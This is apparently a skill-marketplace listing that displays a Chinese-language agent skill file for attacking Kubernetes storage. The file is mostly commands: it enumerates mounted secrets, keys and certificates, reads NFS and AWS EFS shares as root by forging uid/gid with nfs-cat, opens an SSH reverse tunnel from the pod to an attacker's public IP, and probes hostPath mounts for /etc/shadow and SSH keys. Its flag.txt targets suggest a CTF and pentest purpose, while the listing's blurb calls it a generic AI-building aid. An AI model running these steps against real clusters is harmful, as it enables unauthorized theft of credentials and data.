Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

K8s Storage Exploit

  • 25 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

k8s-storage-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • k8s-storage-exploit
  • AI & Agent Building
  • AI-coding skill

K8s Storage Exploit by the numbers

  • 25 all-time installs (skills.sh)
  • +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
  • Ranked #9,764 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-storage-exploit

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs25
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

Kubernetes 存储与文件共享利用

K8s Pod 可能挂载了 NFS、AWS EFS、PV 等存储后端。这些存储往往只依赖网络层访问控制(security group / CIDR),不做应用层认证——也就是说只要 Pod 在同一网络内就能读写,这是云时代仍在用的"上古"访问控制模型。

Phase 1: 发现挂载的存储

# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts

# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'

# 查看 K8s 挂载的 Secret/ConfigMap
ls -la /var/run/secrets/
ls -la /etc/config/ 2>/dev/null
mount | grep -F 'tmpfs' | grep -F 'ro'    # Secret/ConfigMap 通常是只读 tmpfs
find /var/run/secrets -type f 2>/dev/null
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null | head -20

# True Volume / PV 通常是 ext4、nfs、efs、cifs、ceph 等实际文件系统
grep -wF "ext4" /etc/mtab 2>/dev/null
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure|hostPath'

---

Phase 2: NFS/EFS 利用

本地 NFS 挂载已存在时

# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null

发现远程 NFS 但无法直接访问

方法 A: SSH 端口转发(需要外网可达的机器)

# 在 Pod 中(ReadOnly FS 需要 -o StrictHostKeyChecking=no)
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null

# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/

方法 B: nfs-cat / nfs-ls(无需 mount 权限,最灵巧)

nfs-cat 的核心优势:通过 URL 参数直接指定 uid/gid,无需 root 权限即可以任意用户身份读取文件。

# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"

# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"
工具来源: https://github.com/sahlberg/libnfs

方法 C: showmount 探测

showmount -e <nfs-server>
# 显示导出的共享目录

---

Phase 3: AWS EFS 特殊利用

AWS EFS 使用 NFS v4.1 协议。关键点:默认只靠安全组做访问控制,不启用 IAM 认证。这意味着同 VPC 内的任何 Pod 都能直接读写 EFS。

# 识别 EFS(mount 输出中会有 efs 关键字)
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4

# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com

---

Phase 4: PV/PVC 敏感数据

# 检查 hostPath 挂载(可能挂载了宿主机目录)
mount | grep -E '/host|/root|/etc'

# 常见的敏感挂载路径
ls /host/etc/shadow 2>/dev/null
ls /host/root/.ssh/ 2>/dev/null
ls /host/var/lib/kubelet/ 2>/dev/null

# 检查 ConfigMap/Secret 挂载
find /var/run/secrets -type f 2>/dev/null
find /etc -name "*.conf" -newer /etc/hostname 2>/dev/null

---

关键要点

  • NFS/EFS 默认基于网络的访问控制 — Pod 在同一 VPC 内通常可直接访问
  • nfs-cat 是绕过 mount 权限限制的利器 — 支持通过 URL 伪造 uid/gid
  • EFS 的 security group 可能过于宽松 — 允许整个 VPC 访问
  • Secret/ConfigMap 与普通环境变量混在一起 — 仅凭变量名无法判断来源,需要结合挂载点和 API 权限验证
  • 存储后端可能包含:flag、credential、SSH key、TLS 证书、数据库备份

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.